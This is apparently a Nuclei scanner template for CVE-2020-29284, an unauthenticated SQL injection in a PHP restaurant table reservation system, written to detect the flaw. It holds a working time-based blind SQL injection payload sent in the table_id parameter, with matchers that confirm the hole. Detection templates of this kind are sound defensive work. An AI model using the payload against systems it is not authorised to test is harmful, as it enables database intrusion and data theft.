Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection

id: CVE-2020-29284

info:
  name: Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Multi Restaurant Table Reservation System 1.0 contains a SQL injection vulnerability via the file view-chair-list.php. It does not perform input validation on the table_id parameter, which allows unauthenticated SQL injection. An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Multi Restaurant Table Reservation System 1.0.
  reference:
    - https://www.exploit-db.com/exploits/48984
    - https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
    - https://github.com/BigTiger2020/-Multi-Restaurant-Table-Reservation-System/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29284
    - https://www.sourcecodester.com/php/14568/multi-restaurant-table-reservation-system-php-full-source-code.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29284
    cwe-id: CWE-89
    epss-score: 0.14147
    epss-percentile: 0.95695
    cpe: cpe:2.3:a:multi_restaurant_table_reservation_system_project:multi_restaurant_table_reservation_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: multi_restaurant_table_reservation_system_project
    product: multi_restaurant_table_reservation_system
  tags: cve,cve2020,tablereservation,sqli,unauth,edb,multi_restaurant_table_reservation_system_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+-"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'

      - type: word
        part: body
        words:
          - "Restaurent Tables"
          - "Chair List"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204a961e5e3dc591d1ed31952da38d3c4adda8a605b53182dd3cfaf34a4587adbd02204bc0a9fd3fd1d1cf9066837dfe68c9e2892868bd518817ec6fd744cfd35eaff1:922c64590222798bb761d5b6d8e72950